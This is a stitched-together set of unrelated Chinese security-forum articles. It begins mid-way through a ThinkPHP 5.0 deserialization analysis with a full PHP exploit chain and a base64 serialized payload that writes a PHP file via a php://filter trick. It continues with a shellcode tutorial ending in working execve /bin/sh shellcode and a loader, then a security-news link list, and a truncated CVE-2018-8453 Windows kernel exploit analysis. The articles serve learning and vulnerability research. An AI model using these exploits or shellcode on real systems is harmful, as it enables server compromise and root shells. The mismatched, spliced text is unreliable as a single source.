第七点需要我们返回的`$bindAttr`的值存在，看一下OneToOne.php中的`getBindAttr()`方法，可以看见是可控的，简单绕过。
第八点我们对$key的值溯源一下，
看一下这个三元运算，只要`$key`是数字，就可以设置`$key`的值为`$attr`，可以看见`$key`和`$attr`都是我们可以进行控制的，因为`$bindAttr`可以控制。
到这里，已经可以执行我们需要的函数来触发`__call()`了。
### 选择__call():
进行全局搜索，找到一个合适的__call()方法
这里根据前人经验，可以选择Output.php（篇幅有限）
这里是路径：
thinkphp/library/think/console/Output.php
在这里主要需要看的是这两个函数：
`array_unshift()`，`call_user_func_array()`。
`array_unshift()` 函数用于向数组插入新元素。新数组的值将被插入到数组的开头。
`call_user_func_array` — 调用回调函数，并把一个数组参数作为回调函数的参数
可以看到第一个没什么用，但是第二个比较有意思，这里可以调用回调函数。
> 什么是回调函数？
>
> 通俗的来说，回调函数是一个我们定义的函数，但是不是我们直接来调用，而是通过另一个函数来调用，这个函数通过接收回调函数的名字和参数来实现对它的调用。
看看手册里的说明。
因为是在
$item[$key] = $value ? $value->getAttr($attr) : null;
对__call()进行的触发，所以此处在__call()中的参数，`$method`是`getAttr()`，`$args`是`$attr`的值。
第一个if中，可以看见styles是可控的。
将`$styles`中的值多添加一个`getAttr()`即可进入
这里跟进类中的`block`方法：
跟进`writeln`(一看就很敏感)
跟进`write`
查看一下`$handle`的用法
反序列化是不会调用`__construct()`的，因此`$handle`可控
因此可以全局查看一下哪里的write可以利用：
这里可以看见有好几个write函数存在，也有多个可以利用的点。这里主要让我们看一下`Memcache.php`中的Write函数。
thinkphp/library/think/session/driver/Memcache.php
`$handler`可控，因此可以随便调用任何文件中的set函数，全局查找set函数：
这里还是使用Seay进行查找。
这里可以看见很多不同的函数使用文件，可以都看一下，这里如果是想要使用写入webshell，主要的利用点在`File.php`文件中，文件路径：
thinkphp/library/think/cache/driver/File.php
可以看见危险函数`file_put_contents($filename,$data)`，这里可以用来写入webshell。具体内容可以由我们自己决定。
这里一般来说，只要我们使用一个`<?php phpinfo(); ?>`，然后访问对应文件，出现了详情页面，就可以用来证明漏洞存在了。
这里分析一下如何利用到这个`file_put_contents()`函数。
第一个if是判断`$expire`的，对`$expire`进行了设置。
第二个if用来判断`$expire`是不是`DataTime`的子类，设置时间戳。
然后将`$filename`调用`getCacheKey()`函数进行了值的设置，因为`$filename`是`file_put_contents()`函数中的一个参数，所以这里我们跟进函数。
protected function getCacheKey($name, $auto = false)
{
$name = md5($name); //$name进行md5加密
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DS . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DS . $name;
}
$filename = $this->options['path'] . $name . '.php';
$dir = dirname($filename);
if ($auto && !is_dir($dir)) {
mkdir($dir, 0755, true);
}
return $filename;
}
可以看见两个if主要是用来更改文件名的，因为`$options`可以控制，所以可以直接修改之后绕过。
然后到了`$filename`进行设置的地方了，这里同样因为`$options`可以进行控制，所以基本是可以确定文件名是可控的，同时文件的后缀也是被写死了是.php。
后面的函数不会影响`$filename`，因此可以确定`$filename`可以控制。
继续分析，可以看见$data作为`file_put_contents()`函数的参数是进行序列化出来的，参数是使用的`$value`。
这里会出现两个问题，因为`$value`这个值是调用函数时传入的参数，在`writeln`中一路传过来的时候，已经是被确定了为布尔值的`true`，因此我们不能对`$value`达成控制的效果。
而这里，也可以看见`$data`的值也是被写死了，并且存在一个`exit()`函数，需要进行死亡绕过。
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; //这里连接了一个$data
如果不能解决这两个问题，这条链子是没法调用的。
这里需要往下看
跟进到setTagItem()，
可以看见这里将`$filename`作为参数传递进去，同时在下方继续对set()函数进行了调用，将$key和$value作为参数传递了回去。
可以看见，在这里的`$value`是赋值为了`$filename`的值，因此，如果是构造了较为合理的`$filename`，那么就可以进行文件的写入。
写入了文件之后，需要考虑到代码执行的问题，因此需要对exit()函数进行绕过，这里需要用到PHP伪协议的知识，来对exit()函数进行死亡绕过。
> 死亡绕过参考：<https://xz.aliyun.com/t/8163#toc-0>
到这里，这条链子算是走通了。
## EXP:
按照我们现在进行的一系列分析，可以尝试写出EXP如下：
<?php
namespace think\process\pipes{
abstract class Pipes{
}
}
namespace think\process\pipes{
class Windows extends Pipes
{
private $files = [];
public function __construct($Pivot) //这里传入的需要是Pivot的实例化对象
{
$this->files = [$Pivot];
}
}
}
//Pivot类
namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
protected $parent;
function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("1"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类，并且也是OnetoOne类的子类，也就是HasOne
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}
//HasOne类
namespace think\model\relation{
class HasOne extends OneToOne {
}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值，作为call函数引用的第二变量
}
}
}
//Query类，用来匹配$parent
namespace think\db {
class Query {
protected $model;
function __construct($model) //传入的需要是Output类的对象
{
$this->model = $model;
}
}
}
//Output类
namespace think\console{
class Output{
protected $styles = ["getAttr"];
private $handle;
public function __construct($handle)
{
$this->handle = $handle; //是Memcached类的对象，需要调用这个里面的write
}
}
}
//Memcached类
namespace think\session\driver {
class Memcached{
protected $handler;
public function __construct($handler)
{
$this->handler = $handler; //是File类的对象，需要使用其中的set方法
}
}
}
//File类
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;
public function __construct()
{
$this->options=[
'expire' => 0,
'cache_subdir' => '0', //绕过getCacheKey中的第一个if
'prefix' => '0', //绕过getCacheKey中的第二个if
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=xxxPD9waHAgcGhwaW5mbygpOz8+/../a.php', //有php+12个0+exit，共21个字符，为了凑到4的整数倍，需要加上三个字符
'data_compress' => false,
];
$this->tag = '1'; //用于后续控制文件名，需要使用
}
}
}
namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output, $HasOne));
echo base64_encode(serialize($window));
}
运行后生成：
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7aToxO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTU6IgAqAHNlbGZSZWxhdGlvbiI7aTowO3M6MTE6IgAqAGJpbmRBdHRyIjthOjE6e2k6MDtzOjM6Inh4eCI7fXM6ODoiACoAcXVlcnkiO086MTQ6InRoaW5rXGRiXFF1ZXJ5IjoxOntzOjg6IgAqAG1vZGVsIjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czo5OiIAKgBzdHlsZXMiO2E6MTp7aTowO3M6NzoiZ2V0QXR0ciI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MDtzOjEyOiJjYWNoZV9zdWJkaXIiO3M6MToiMCI7czo2OiJwcmVmaXgiO3M6MToiMCI7czo0OiJwYXRoIjtzOjEwNjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPXh4eFBEOXdhSEFnY0dod2FXNW1ieWdwT3o4Ky8uLi9hLnBocCI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjY6IgAqAHRhZyI7czoxOiIxIjt9fX19fXM6OToiACoAcGFyZW50IjtyOjExO319fQ
传入：
效果图：
这里分析一下文件名是怎么生成的
**第一次进入set函数的时候：**
首先将$name进行md5加密，然后连接到$this->options['path']后面，再加上.php
可以得到`$filename`如下：
php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=xxxPD9waHAgcGhwaW5mbygpOz8+/../a.php8db7a8c80e67e908f96fbf22dde11df3.php
然后进行`file_put_contents()`，可以得到第一个文件，同时第一个$data值是将恒为true的$value反序列化，得到b:1;
**第二次进入set函数的时候：**
会经过setTagtem()函数，进行重新赋值，进入到has方法，跟进到get方法，然后重新调用到File类的getCacheKey方法，此时的$name是tag_md5("1"),也就是`tag_c4ca4238a0b923820dcc509a6f75849b`
然后上面的再次md5，得到`3b58a9545013e88c7186db11bb158c44`，按照之前的方法，连接到后面，就会出现新的`$filename`
php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=xxxPD9waHAgcGhwaW5mbygpOz8+/../a.php3b58a9545013e88c7186db11bb158c44.php
因为这个文件不存在，会返回false所以会跳过if($this->has($key))，直接令$value等于输入的$name，也就是tag_md5("1")，也就是`tag_c4ca4238a0b923820dcc509a6f75849b`
然后再次进入set()函数，这一次会进入getCacheKey()函数，然后再次md5加密，得到md5(tag_md5("1"))，也就是$filename
php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=xxxPD9waHAgcGhwaW5mbygpOz8+/../a.php3b58a9545013e88c7186db11bb158c44.php
然后因为第一次进入setTagItem()函数的时候，会将tag设置为null，所以不会再进入，写入成功。
因此最后我们需要的文件名应该是这个格式：
<?php
$name = "a.php".md5(tag_md5("1")).".php"
两次md5都是getCacheKey中的函数。
## 参考：
<https://xz.aliyun.com/t/7457#toc-3>
<https://www.moonsec.com/4586.html>
<https://www.anquanke.com/post/id/196364#h2-5>
<https://www.anquanke.com/post/id/265088#h2-4>
<https://xz.aliyun.com/t/7457#toc-5>
[https://blog.csdn.net/Zero_Adam/article/details/116170568?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-116170568-blog-119196766.pc_relevant_aa_2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-116170568-blog-119196766.pc_relevant_aa_2&utm_relevant_index=2](https://blog.csdn.net/Zero_Adam/article/details/116170568?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-116170568-blog-119196766.pc_relevant_aa_2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-116170568-blog-119196766.pc_relevant_aa_2&utm_relevant_index=2) | 社区文章 |
### **0x01 理解系统调用**
shellcode是一组可注入的指令，可以在被攻击的程序中运行。由于shellcode要直接操作寄存器和函数，所以必须是十六进制的形式。
那么为什么要写shellcode呢？因为我们要让目标程序以不同于设计者预期的方式运行，而操作的程序的方法之一就是强制它产生系统调用（system,call,syscall)。通过系统调用，你可以直接访问系统内核。
在Linux里有两个方法来执行系统调用，间接的方法是c函数包装（libc），直接的方法是用汇编指令（通过把适当的参数加载到寄存器，然后调用int
0x80软中断）
废话不多说，我们先来看看最常见的系统调用exit()，就是终止当前进程。
### (注：本文测试系统是ubuntu-17.04 x86）
main()
{
exit(0);
}
（编译时使用static选项，防止使用动态链接，在程序里保留exit系统调用代码）
`gcc -static -o exit exit.c`
用gdb反汇编生成的二进制文件：
_exit+0行是把系统调用的参数加载到ebx。
_exit+4和_exit+15行是把对应的系统调用编号分别被复制到eax。
最后的int 0x80指令把cpu切换到内核模式，并执行我们的系统调用。
### **0x02 为exit()系统调用写shellcode**
在基本了解了一下exit()系统调用后，就可以开始写shellcode了~
要注意的是我们的shellcode应该尽量地简洁紧凑，这样才能注入更小的缓冲区（当你遇到n字节长的缓冲区时，你不仅要把整个shellcode复制到缓冲区，还要加上调用shellcode的指令，所以shellcode必须比n小）。
在实际环境中，shellcode将在没有其他指令为它设置参数的情况下执行，所以我们必须自己设置参数。这里我们先通过将0放入ebx中的方法来设置参数。
步骤大概是：
* 把0存到ebx
* 把1存到eax
* 执行int 0x80指令来产生系统调用
根据这三个步骤来写汇编指令：
Section .text
global _start
_start:
mov ebx, 0
mov ax, 1
int 0x80
然后用nasm编译，生成目标文件，再用gun ld来连接：
nasm -f elf32 exit_shellcode.asm
ld -i exit_shellcode exit_shellcode.o
然后objdump就能显示相应的opcode了:
看起来好像是成功了。但是很遗憾，这个shellcode在实际攻击中可能会无法使用。
可以看到，这串shellcode中还有一些NULL（\x00）字符，当我们把shellcode复制到缓冲区时，有时候会出现异常（因为字符数组用null做终止符）。要编写真正有用的shellcode我们还要想办法把\x00消去。
首先我们看第一条指令（mov ebx, 0）将0放入ebx中。熟悉汇编的话就会知道，
**xor指令在操作数相等的情况下返回0，也就是可以在指令里不使用0，但是结果返回0** ，那么我们就可以用xor来代替mov指令了。
`mov ebx, 0 --> xor ebx, ebx`
再看第二条指令（mov ax, 1）为什么这条指令也会有null呢？我们知道，
**eax是32位（4个字节）的寄存器，而我们只复制了1个字节到了寄存器，而剩下的部分，系统会自动用null填充。**
熟悉eax组成的就知道，eax分为两个16位区域，用ax可以访问第一个区域，而ax又分为al和ah两个区域。那么解决方法就是只要把1复制到al就行了。
`mov eax, 1 --> mov al, 1`
至此，我们已经将所有的null都清除了。
Section .text
global _start
_start:
xor ebx, ebx
mov al, 1
int 0x80
嗯，已经没有\x00了。接下来就可以编写个c程序来测试这个shellcode了。
char shellcode[] = "\x31\xdb"
"\xb0\x01"
"\xcd\x80";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(&ret) = (int)shellcode;
}
编译后用strace来查看系统调用：
### **0x03 编写execve()的shellcode**
exit()可能没什么意思，接下来我们做点更有趣的事情-派生root shell-控制整个目标系统。
在Linux里，有两种方法创建新进程：一是通过现有的进程来创建，并替换正在活动的；二是利用现有的进程来生成它自己的拷贝，并在它的位置运行这个新进程。而execve()系统调用就可以在现有的进程空间里执行其他的进程。
接下来我们开始一步步写execve的shellcode：
**1.查找execve的系统调用号码：**
可以在如图的系统目录中找到execve的系统调用号码：11
**2.接下来我们需要知道它作为输入的参数，用man手册就可以查看：**
3个参数必须包含以下内容：
* filename必须指向包含要执行的二进制文件的路径的字符串。在这个栗子中，就是字符串[/ bin / sh]。
* argv []是程序的参数列表。大多数程序将使用强制性/选项参数运行。而我们只想执行“/ bin / sh”，而没有任何更多的参数，所以参数列表只是一个NULL指针。但是，按照惯例,第一个参数是我们要执行的文件名。所以，argv []就是['/ bin / sh',00000000]
* envp []是要以key：value格式传递给程序的任何其他环境选项的列表。为了我们的目的，这将是NULL指针\0x00000000
**3.和exit()一样，我们使用int 0x80的系统调用。注意要在eax中包含execve的系统调用号“11”。**
**4.接下来就可以开始编写shellcode了，节约时间，我在这直接放上写好的shellcode并加上了注释：**
需要解释的是向堆栈中反向推送//bin/sh。我们知道在x86堆栈中是从高地址到低地址的，所以要输入反向的字符串。同样，使用为4的倍数的最短指令会更容易些。
而/bin/sh是7个字节，怎么把它变成8个字节呢？很简单，加个/就ok了。因为在Linux中，多几个/都不会有问题的，像这样：p
然后用python来生成hs/nib//的十六进制吧：
然后将它们入栈就好。其他的看注释应该都能懂，就不多说了。
**5.编译运行成功后用objdump查看：**
这里分享一个方便提取shellcode的指令,[来源](http://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump)
objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
**6.shellcode已经提取成功了，接下来用c程序来验证一下：**
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
编译运行
`gcc -fno-stack-protector -z execstack shellcode.c -o shellcode`
成功:D
### **0x04 参考链接**
<http://www.vividmachines.com/shellcode/shellcode.html>
<http://www.cnblogs.com/feisky/archive/2009/10/23/1588737.html> | 社区文章 |
# 【知识】5月5日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：** **为恶意软件事件响应构建本地的passiveDNS 、如何保护漏洞利用：检测PageHeap、在渗透测试中Netcat使用的技巧
、如何寻找漏洞绕过CFG、Pwn2Own 2017: UAF in JSC::CachedCall (WebKit)**
**资讯类：**
* * *
****
****
****
****
[](https://www.hackread.com/darkoverlord-hacks-westpark-capital-bank/)
GOOGLE文档钓鱼攻击100万GMAIL用户的受影响
<https://threatpost.com/1-million-gmail-users-impacted-by-google-docs-phishing-attack/125436/>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
一个Meterpreter和Windows代理的APT案例
<https://medium.com/@br4nsh/a-meterpreter-and-windows-proxy-case-4af2b866f4a1>
分析Bondnet僵尸网络
<https://www.guardicore.com/2017/05/the-bondnet-army/>
SAML的脆弱性分析
<https://medium.com/@FreedomCoder/following-the-white-rabbit-5e392e3f6fb9>
如何保护漏洞利用：检测PageHeap
<http://snf.github.io/2017/05/04/exploit-protection-i-page-heap/>
为恶意软件事件响应构建本地的passiveDNS
<https://www.virusbulletin.com/blog/2017/may/vb2016-paper-building-local-passivedns-capabilityfor-malware-incident-response/>
XXE漏洞利用的技巧
<http://www.blackhillsinfosec.com/?p=5886>
3张图说明http和http2的不同
<https://twitter.com/kosamari/status/859958929484337152/>
在渗透测试中Netcat使用的技巧
<http://www.hackingtutorials.org/networking/hacking-with-netcat-part-1-the-basics/>
<http://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/>
<http://www.hackingtutorials.org/networking/hacking-with-netcat-part-3-advanced-techniques/>
利用PDF附件传播Dridex和Locky恶意软件
<https://www.fireeye.com/blog/threat-research/2017/05/dridex_and_lockyret.html>
Pwn2Own 2017: UAF in JSC::CachedCall (WebKit)
<https://phoenhex.re/2017-05-04/pwn2own17-cachedcall-uaf>
Docker Hub安全漏洞研究
<http://dl.acm.org/citation.cfm?doid=3029806.3029832>
Windows Defender ATP阻止了WilySupply软件攻击
<https://blogs.technet.microsoft.com/mmpc/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/>
macOS网络钓鱼：AppleScript危险
<https://duo.com/blog/the-macos-phishing-easy-button-applescript-dangers>
通过Shodan检索FMV看到了什么
<http://blog.networkedinference.com/2017/05/ranger-and-bonker-predator-drones.html>
如何寻找漏洞绕过CFG
<https://cansecwest.com/slides/2017/CSW2017_HenryLi_How_to_find_the_vulnerability_to_bypass_the_ControlFlowGuard.pdf>
原创蓝牙App漏洞系列分析之一CVE-2017-0601
<https://xianzhi.aliyun.com/forum/read/1570.html> | 社区文章 |
**作者：ze0r @360A-TEAM
公众号：[360安全监测与响应中心](https://mp.weixin.qq.com/s/ogKCo-Jp8vc7otXyu6fTig
"360安全监测与响应中心")
相关阅读：[[下篇]从补丁diff到EXP--CVE-2018-8453漏洞分析与利用](https://paper.seebug.org/798/
"\[下篇\]从补丁diff到EXP--CVE-2018-8453漏洞分析与利用")**
在本篇文章中，我们将对CVE-2018-8453（Windows win32kfull.sys内核提权漏洞）进行深入分析。
因国内外各大安全公司和平台主观和客观上的各种原因，该漏洞的技术分析一直模糊不清，甚至带有故意的错误，为还原真实，我们以漏洞为主，卡巴斯基的分析文章为辅进行分析。现将分析过程和利用对外分享发布，以供学习参考。
### 前言
CVE-2018-8453漏洞是一个Windows内核提权漏洞，由卡巴斯基官方于野外发现用于APT中攻击中东地区国家。在微软发布了更新补丁后，卡巴斯基也于第二天发布了关于这个漏洞的更加详细的分析，但仍然讳莫如深，以及多个故意错误（可能是因为卡巴斯基担心该漏洞可能被作为Nday利用）。此外，国内两大安全平台关于该漏洞的描述文章，也为谷歌直接翻译。故意错误加上翻译错误，让人无法清楚的知道该漏洞的原理和利用。
为了还原真实，我们以直面漏洞为主、卡巴分析文章为辅的方式对该漏洞进行分析和学习。
相关链接：
微软官方的补丁和漏洞简介可以看链接：<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8453>
卡巴斯基的分析文章链接：<https://securelist.com/cve-2018-8453-used-in-targeted-attacks/88151/>
### 正文内容
下载该漏洞的单独补丁用bindiff与历史补丁进行查看，可发现主要变化如下(新旧变化主要用上一个补丁日的win32k.sys来比较，下同)：
在底部，看到颜色差异比较大的就是一个叫NtUserSetWindowFNID的函数，比较一下：
可见判断流程中，多了一个IsWindowBeingDestroyed函数调用：
也就是说，主要在设置改变窗口的一个成员时，多了一个检查。那么就意味着，本漏洞的原因是设置成员时，没有判断某成员造成，从名字上看，这个成员为FNID。
那么，问题在于，FNID这个成员没有检查又会造成什么影响呢？我们查看一下这个成员的作用，在win2000的部分源代码中，我们可以搜索FNID来探明FNID是什么意义。
这个FNID成员是用来标识本窗口是一个什么样的窗口，比如是一个按钮还是一个编辑框，这一点从文章里也可以印证。而从补丁修改后新加的函数名IsWindowBeingDestroyed来看，这里是要判断本窗口是否已经准备删除了。从文章中说的查看ReactOS代码，可知道准备删除标记就是添加上FNID_FREE（0x8000）的标记。关键在于，不检查FREE之后的窗口是如何触发漏洞呢？
通过卡巴的文章，我们整理出来大致利用思路：代码先HOOK KernelCallbackTable->产生一个主窗口->在USER32!
**fnINLPCREATESTRUCT回调中去查找并取消掉sysShadow窗口->以主窗口作为父窗口产生一个滚动条窗口SrollBar->发送WM_LBUTTONDOWN消息->系统处理消息时会发生USER32!**fnDWORD回调，在USER32!
**fnDWORD回调中销毁主窗口->这将导致主窗口销毁从而产生USER32!**fnNCDESTROY回调->USER32!__fnNCDESTROY回调中调用NtUserSetWindowFNID更改掉FNID->至此文章中开始语焉不详，文章中说重用了sysShadow，但我们根本理解不了如何发生得重用。所以需要我们自己来动手实现。
首先我们来实现漏洞函数得调用，仔细观察：
可以看到，要想成功更改FNID，需要满足几个条件，我们不可能只设置为0x4000（这个只是打个标记，不产生实际作用）。至于新FNID得值，我们可以按照文章中说的直接设置为0x2a1即可。而对于后面的条件，要求我们要设置的窗口原来不能有FNID（除0x4000和0x8000外，但这两个标记我们打了没用）。这里经过多次测试，发现三种情况会时FNID为空：一种是在任意类型窗口刚建立时，这时系统在用户态主动调用NtUserSetWindowFNID来设置FNID（user32.dll中自动实现），而此时，如果没有设置完FNID，则窗口还没有设置消息处理函数，也就没有处理消息的能力。而文章中提到了WM_LBUTTONDOWN消息，则可以肯定是在Scrollbar窗口完全创建之后。故此种情况不行。二种是用户注册的窗口类所产生的窗口，此窗口一直到销毁，都没有设置FNID。第三种就是文章中所说的sysShadow窗口，此窗口的作用只是产生阴影效果，但是确实FNID为空。也正是由于这个特性，本人被文章误导很长时间。后来请教leeqwind才知道，根本不是重用的sysShadow，而是SBTrack结构。另外也可以看文章截图：
由于本人注意力全放在了文章触发中，还未关注利用，没注意后面的内容，其实这里已经泄露了真相（深刻检讨反思！）。从截图的红框中可看到，标记是Usst，分配者又是win32k!xxxSBTrackInit。所以很明显可知要被重用的是SBTrack。
文章中说明了需要在FNID设置为0x8000之后，再调用漏洞函数更改FNID。我们知道，一个窗口销毁的用户态接受到的最后消息是WM_NCDESTORY，在win32k中，这是在xxxFreeWindow函数中发送给窗口的：
可以看到在106行发送了0x82（WM_NCDESTORY）号消息，所以我们需要在106行之后想办法回到用户态。但同时有另外一个问题，就是注意第134行，这行把FNID打上0x4000的标记，而文章中完全是0x8000直接变成了0x82a1，没有0x4000的标记，所以我们如果再WM_NCDESTORY消息中去更改FNID，那么确实可以马上更改掉FNID，但是这时窗口还并没有打上0x8000的标记（到136行中才被标记），这与文章明显不符。所以文中所说的在USER32!__fnNCDESTROY中去调用NtUserSetWindowFNID更改FNID的做法为故意错误。
经过本人用pykd动态测试发现，窗口在426行的调用后，窗口句柄将不存在，NtUserSetWindowFNID函数的ValidateHwnd函数将返回0从而直接跳过FNID设置。也就是我们想要实现文章中直接将0x8000设置成0x82a1的效果，需要我们在134行到426行之间，找到一个回到用户态的调用。
这里插播一点题外话。本人一开始是在WINDOWS7的win32k.sys做分析，结果搜索很长时间未能成功找到，直到某天twitter上有人提到该漏洞在win8.1之后可利用，在看了win10的win32kfull.sys后恍然大悟，教训深刻！
回到正题，之后我们可以看到这里：
上面这张截图为win10下的win32kfull.sys的IDA分析结果。我们可以看到，在256行改为了0x8000后，在266行有一个xxxClientFreeWindowClassExtraBytes函数调用：
该函数中很直接的调用了KeUserModeCallback！毫无条件的直接回到了用户态。所以我们只要符合进入到xxxClientFreeWindowClassExtraBytes函数的条件即可。仔细查看代码，发现258行的判断，主要是判断窗口是否具有扩展字节（正如xxxClientFreeWindowClassExtraBytes函数名字所暗示的那样），有的话则调用xxxClientFreeWindowClassExtraBytes函数释放掉，由于扩展字节是分配在用户空间中的，所以该函数返回到用户态让用户态代码去释放掉（至少要通知）。所以只要我们在注册窗口类的时候，cbWndExtra成员不为0即可。在窗口销毁时，就会在设置了0x8000之后，又回到了用户态。当窗口以0x8000回到用户态后，我们更改FNID为0x82a1，返回到内核态后，xxxFreeWindow继续往后执行。
回到xxxFreeWindow函数：
其中这里，可以看到代码判断了FNID的值，从而决定要不要调用USER32!
**fnDWORD。我们知道，当一个窗口被多个其他窗口、结构引用时，即时这个窗口已经被用户调用DestoryWindow销毁掉了，窗口对象也要在内存中继续存在，以等待所有引用它的地方不再引用它才真正释放本对象内存。那么，如果我们在销毁了一个窗口后，它的最后一个引用也释放的时候，调用xxxFreeWindow时，我们就可以用FNID来控制流程是否要回到用户态的USER32!**
fnDWORD调用。所以攻击链也就此完整。
结合上面提到的，文章中提到了使用xxxSBTrackInit。该函数主要用来实现滚动条按钮的跟随鼠标滚动，当用户在一个滚动条上按下左键，表示用户想要拖动滚动条，此时需要开始处理鼠标的移动，让滚动条也跟着相应动起来，在系统中，产生SBTrack结构来标记用户鼠标的当前位置，最后当用户放开鼠标左键时，表示用户已经拖动完成，需要释放相应SBTrack结构。
在windows 2000的源代码中，xxxSBTrackInit部分代码如下：
大致流程就是在调用UserAllocPoolWithQuota申请了内存后，初始化SBtrack，会将滚动条窗口以及通知窗口的指针放在本结构中，然后在2425行将当前窗口设置为捕获窗口。之后就调用xxxSBTrackLoop开始循环来处理用户的鼠标消息：
可以看到，xxxSBTrackLoop循环获取消息、判断消息、分发消息。当用户放开鼠标时，应当停止跟踪处理消息，退出xxxSBTrackLoop后回到xxxSBTrackInit之后，释放SBTrack占用的内存：
而往上两行，可以看到在释放SBTrack之前，会解除一次spwndSBNotify窗口的引用。结合上面的分析，我们可以让这次解除引用时，回到用户态。如果在用户态释放掉SBTrack，则流程再次回到内核时，紧接着后面的UserFreePool即造成重复释放的问题。
那么我们在用户态如何释放SBTrack呢？分析发现，导致释放SBTrack一种是用户正常放开了鼠标左键，还有一种就是xxxEndScroll函数：
void xxxEndScroll( PWND pwnd, BOOL fCancel){ UINT oldcmd; PSBTRACK pSBTrack; CheckLock(pwnd); UserAssert(!IsWinEventNotifyDeferred());
pSBTrack = PWNDTOPSBTRACK(pwnd);if (pSBTrack && PtiCurrent()->pq->spwndCapture == pwnd && pSBTrack->xxxpfnSB != NULL) {……..省略部分代码…….
pSBTrack->xxxpfnSB = NULL;
/* * Unlock structure members so they are no longer holding down windows. */ Unlock(&pSBTrack->spwndSB); Unlock(&pSBTrack->spwndSBNotify); Unlock(&pSBTrack->spwndTrack); UserFreePool(pSBTrack); PWNDTOPSBTRACK(pwnd) = NULL; }}
xxxEndScroll函数判断了主要根据窗口的线程信息中存放的SBTrack和pq->sqpwndCapture（）。
而我们的程序是单线程，由于每个线程信息是属于线程的，所以线程创建的所有窗口也都指向同一线程信息结构。所以，即使SBTrack所属于的Scrollbar窗口已经释放了，只要还是同一线程创建的新窗口，pSBTrack也还是原来的。而qp->spwndCapture==pwnd如何绕过呢？我们如果创建新的窗口，给这个新窗口发送的消息和操作，pwnd则为新窗口，这显然不会等于在xxxSBTrackInit中设置的捕获窗口
----旧窗口。
通过测试发现，这个Capture窗口的设置，只要简单的在用户态调用SetCapture
API即可直接设置。所以我们只要直接调用API即可让xxxEndScroll中的判断完全通过。
在搜索之后，发现可以通过如下路径调用xxxEndScroll函数：
向一个窗口发送WM_CANCELMODE-> xxxDefWindowProc判断消息->调用xxxDWP_DoCancelMode->
xxxDWP_DoCancelMode 判断当前线程信息中pSBTrack->
xxxEndScroll。而上面我们知道，所有的窗口都在同一线程中创建，所以这里的判断也可以通过！
整理一下流程：
